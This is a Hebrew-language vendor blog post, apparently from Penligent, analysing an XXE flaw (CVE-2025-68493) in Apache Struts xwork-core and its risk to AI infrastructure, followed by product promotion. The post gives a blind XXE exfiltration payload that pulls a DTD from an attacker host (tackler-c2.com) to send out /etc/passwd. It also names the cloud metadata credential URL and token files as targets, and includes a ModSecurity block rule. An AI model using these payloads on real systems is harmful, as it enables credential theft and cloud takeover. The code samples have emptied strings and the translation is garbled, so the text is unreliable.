כותרת Penligent

ניתוח CVE-2025-68493: הפגם ב-XWork מפרק את אבטחת תשתית ה-AI

בנוף המשתנה במהירות של בינה מלאכותית גנרטיבית, מהנדסי אבטחה מתמקדים לעתים קרובות באיומים ספציפיים למודל — הזרקת פקודות, פריצת jailbreak או הרעלת נתונים. עם זאת, השקת CVE-2025-68493 ב-11 בינואר 2026, מהווה תזכורת אכזרית: התשתית הישנה העוטפת את הדגמים החדישים שלכם היא לעתים קרובות החוליה החלשה ביותר.

מאמר זה מספק ניתוח טכני של הפגיעות הקריטית שנמצאה ב-Apache Struts. xwork-core . ננתח את הגורם השורשי ברמת הקוד, נבחן את הפוטנציאל ההרסני שלו על צינורות MLOps, ונדון באסטרטגיות תיקון הנעות מתיקון מיידי ועד הגנה אוטומטית מבוססת AI.

ניתוח CVE-2025-68493: הפגם ב-XWork מפרק את אבטחת תשתית ה-AI

האנטומיה הטכנית של CVE-2025-68493

בעוד Apache Struts ידוע לשמצה בהיסטוריה של ביצוע קוד מרחוק (RCE) באמצעות הזרקת OGNL (ראו: Equifax), CVE-2025-68493 תוקף וקטור שונה: לוגיקת ניתוח XML.

היקף הפגיעות

  • רכיב: xwork-core (מסגרת תבנית הפקודה העומדת בבסיס Struts 2).
  • סוג הפגיעות: הזרקת ישות חיצונית XML (XXE) עקב [CWE-112] אימות XML חסר.
  • גרסאות מושפעות: Apache Struts 2.0.0 – 6.1.0.
  • ציון CVSS v3.1: 9.8 (קריטי).

ניתוח סיבות שורש

הפגיעות נובעת מה- XWorkConverter והטיפול שלה במאפייני תצורה ספציפיים. כאשר המסגרת מעבדת בקשת HTTP עם סוג תוכן: application/xml, מפרש ה-XML הבסיסי (לעתים קרובות Xerces, עטוף ב-Struts) מופעל כדי לבצע דה-סריאליזציה של המטען.

בגרסאות המושפעות, ה- עוזר בית המחלקת לא מבטלת במפורש את עיבוד DTD (הגדרת סוג מסמך) ואת פתרון הישויות החיצוניות כברירת מחדל.

יישום מאובטח מחייב הגדרת דגלים ספציפיים ב- DocumentBuilderFactory. היעדר דגלים אלה ב CVE-2025-68493 יוצר את הפתיחה:

Java

// תבנית קוד פגיע (מושגית) DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // חסר: dbf.setFeature("", true); // חסר: dbf.setFeature("", false); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(inputStream); // נקודת ההפעלה

ללא הגנות אלה, תוקף יכול להגדיר ישויות זדוניות בכותרת DOCTYPE שהשרת נאלץ לפתור.

מדוע זה חשוב לתשתית AI ו-MLOps

אתם עשויים לשאול: "אנחנו מריצים Python/PyTorch לצורך הסקה. מדוע פגיעות במסגרת Java היא בעיה?"

המציאות של בינה מלאכותית ארגונית היא היברידיות. בעוד שהמודל פועל בסביבה מכולתית של Python, ה- שכבת תזמור, שער API, ו אגמי נתונים מסורתיים הדגמים הללו נבנים לעתים קרובות על בסיס ערימות Java בוגרות כמו Struts או Spring.

CVE-2025-68493 חושף שלושה סיכונים ספציפיים למערכות בינה מלאכותית:

1. דגם משקל ודלף נתונים (LFI)

התקפת XXE מאפשרת הכללת קבצים מקומיים. אם ליישום Struts שלך יש גישה לקריאה למערכת הקבצים (מה שקורה לעתים קרובות במכלים של משתמשים שאינם root), תוקף יכול לקרוא קבצי תצורה.

  • יעד: /root/.huggingface/token או aws_credentials.
  • השפעה: התוקפים גונבים את פרטי הזיהוי הדרושים כדי לשלוף את נקודות הבקרה הקנייניות או מערכי הנתונים הפרטיים שלך מדלי S3.

2. SSRF נגד שירותי מטא-דאטה (Cloud Jacking)

זהו הווקטור הקריטי ביותר עבור בינה מלאכותית מקורית בענן. על ידי אילוץ מפרש ה-XML לבצע בקשות HTTP, תוקפים יכולים לפגוע בשירות המטא-נתונים של המופע (IMDS).

  • יעד מטען: http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • השפעה: גניבת תפקיד ה-IAM המצורף לאינסטנס EC2. באשכולות AI, לתפקידים אלה יש לעתים קרובות הרשאות נרחבות להקצאת אינסטנסים יקרים של GPU (אינסטנסים P4/P5), מה שמוביל לחטיפת משאבים לצורך כריית מטבעות קריפטוגרפיים או אימון לא מורשה.

3. מניעת שירות (התקפת מיליארד צחוקים)

שרתי הסקת מסקנות AI צורכים משאבים רבים. מתקפת הרחבת ישויות רקורסיבית ("Billion Laughs") שנשלחת באמצעות CVE-2025-68493 עלולה למצות את זיכרון השרת, לגרום לקריסת צומת התזמור ולשבש את זמינות שירות ה-AI.

סימולציית וקטור תקיפה: הוכחת היתכנות

להלן תיאור טכני של האופן שבו תוקף מנצל פגיעות זו.

תרחיש: פעולת Struts מסורתית משמשת לניתוח פרופילי משתמשים לפני העברת נתונים למנוע המלצות.

כותרת הבקשה:

HTTP

POST /struts2-showcase/person/create.action HTTP/1.1 מארח: vulnerable-ai-gateway.corp סוג תוכן: application/xml

מטען זדוני (Blind XXE עם הוצאת מידע מחוץ לתחום):

בהגדרות מודרניות רבות, תגובת השרת מטוהרת, כלומר לא תוכלו לראות את תוכן הקובץ ישירות בתגובת HTTP (Blind XXE). תוקפים משתמשים בישויות פרמטרים כדי לשלוח נתונים לשרת מבוקר.

XML

<!DOCTYPE root [ <!ENTITY % remote SYSTEM ""> %remote; ]> John Doe &exfiltrate;

תוכן eval.dtd מארח בשרת התוקף:

XML

<!ENTITY % eval ""> %eval;

זרימת ביצוע:

  1. מנתח ה-Struts קורא את ה-XML הראשי.
  2. הוא מביא את ה-DTD החיצוני מ tackler-c2.com.
  3. הוא מפרש את ה-DTD החיצוני, שמורה לו לקרוא /etc/passwd.
  4. הוא שולח את התוכן של /etc/passwd חזרה לשרת התוקף כפרמטר URL.
ניתוח CVE-2025-68493: הפגם ב-XWork מפרק את אבטחת תשתית ה-AI

אסטרטגיית איתור ותיקון

הקלה מיידית (שלב "עצירת הדימום")

אם אינך יכול לפרוס את התיקון באופן מיידי, עליך להחיל כללי WAF (חומת אש ליישומי אינטרנט) מחמירים בבקר הכניסה שלך.

דוגמה לכלל ModSecurity:

אפאצ'י

SecRule REQUEST_BODY "(?i)<!DOCTYPE" \\ "id:1001,phase:2,t:none,log,deny,status:403,msg:'Potential XML Injection Detected (CVE-2025-68493)'"

הערה: זהו כלי בוטה. הוא חוסם את כל ה-DTD, מה שעלול לשבש נקודות קצה SOAP לגיטימיות. יש לבצע בדיקה ראשונה בסביבת ביניים.

התיקון הרשמי

שדרג ל Apache Struts 6.1.1+. צוות Apache תיקן את הבעיה. xwork-core להתעלם מגופים חיצוניים כברירת מחדל. אמת את השדרוג על ידי בדיקת struts2-core גרסת JAR ב- WEB-INF/lib או עץ התלות של Maven.

תלותגרסה פגיעהגרסה מתוקנת
struts2-core< 6.1.16.1.1+
xwork-core< 6.1.16.1.1+

אבטחת מידע בקנה מידה גדול: תפקידה של הבינה המלאכותית באימות פגיעות

בארכיטקטורות מורכבות של מיקרו-שירותים, הפעלת סורק פגיעות (כמו Nessus או OpenVAS) בלבד מייצרת רעש רב. הסורקים מתאימים מספרי גרסה, אך לעתים קרובות נכשלים באימות אם הספציפי תצורה ניתן לנצל. הדבר יוצר "עייפות התראות" בקרב צוותי האבטחה.

זה המקום שבו הפרדיגמה משתנה מ סריקה סטטית אל בדיקת חדירה סוכנתית.

ניצול אוטומטי עם Penligent

אבטחה מודרנית דורשת כלים ש"חושבים" כמו תוקף. Penligent (penligent.ai) מייצג את הדור הבא של פלטפורמות בדיקת חדירה אוטומטיות. בניגוד לסורקים מסורתיים המשתמשים בהתאמת regex, Penligent משתמש בסוכנים המונעים על ידי LLM כדי להבין את הקשר של היישום.

כיצד Penligent מטפל ב-CVE-2025-68493:

  1. גילוי קונטקסטואלי: Penligent מזהה את סוג תוכן: application/xml נקודות קצה, גם אם הן אינן מתועדות או מוסתרות מאחורי נתיבי API מורכבים.
  2. בניית מטען חכם: במקום להפיץ מטענים כלליים, הסוכן Penligent מנתח את התנהגות היישום. אם הוא מזהה חתימת Struts, הוא בונה PoC ספציפי עבור CVE-2025-68493.
  3. אימות בטוח: הסוכן מנסה ליזום אינטראקציה תמימה (למשל, חיפוש DNS באמצעות XXE) במקום לקרוא קבצים רגישים, ובכך להוכיח את יכולת הניצול מבלי לסכן את פרטיות הנתונים.
  4. ביטול תוצאות חיוביות כוזבות: על ידי אימות נתיב הביצוע, Penligent מסנן את הרעש. אם הספרייה קיימת אך מפרש ה-XML מוגדר בצורה מאובטחת, Penligent מסמן אותה כ"בטוחה", וחוסך לצוות שלכם שעות של חקירה.

עבור צוותים המנהלים מאות שירותים, היכולת לומר "Penligent אימתה 300 שירותים, ורק 2 מהם ניתנים לניצול בפועל". הוא ההבדל בין סוף שבוע כאוטי לבין מחזור תיקונים מנוהל.

סיכום

CVE-2025-68493 אינו רק עוד פריט ברשימת הפגיעות; זהו חולשה מבנית ביסודן של פלטפורמות AI ארגוניות רבות. היכולת לעבור מרכיב Java ישן לשליטה בשירותי מטא-נתונים בענן הופכת את האיום הזה לאיום מדרגה 1.

מהנדסי אבטחה חייבים להתקדם מעבר לשיטת "תיקון ותפילה". על ידי הבנת המכניקה של ניתוח XML ברמה נמוכה ושימוש בכלים התקפיים מבוססי בינה מלאכותית כמו Penligent, אנו יכולים להבטיח שהתשתית שלנו תישאר עמידה כמו המודלים שאנו בונים.

השלב הבא עבורך:

בדקו עוד היום את רשימת הרכיבים התוכנתיים (SBOM) שלכם כדי לאתר גרסאות struts2-core מתחת ל-6.1.1. אם נמצאו, יש לבודד את המכל באופן מיידי ולהפעיל את פרוטוקול התגובה לאירועים.

הפניות:

  1. עלוני אבטחה של Apache Struts (מקור רשמי)
  2. NVD – CVE-2025-68493 ניתוח מפורט
  3. דף עזר של OWASP: מניעת ישויות חיצוניות ב-XML
שתף את הפוסט:
פוסטים קשורים
he_ILHebrew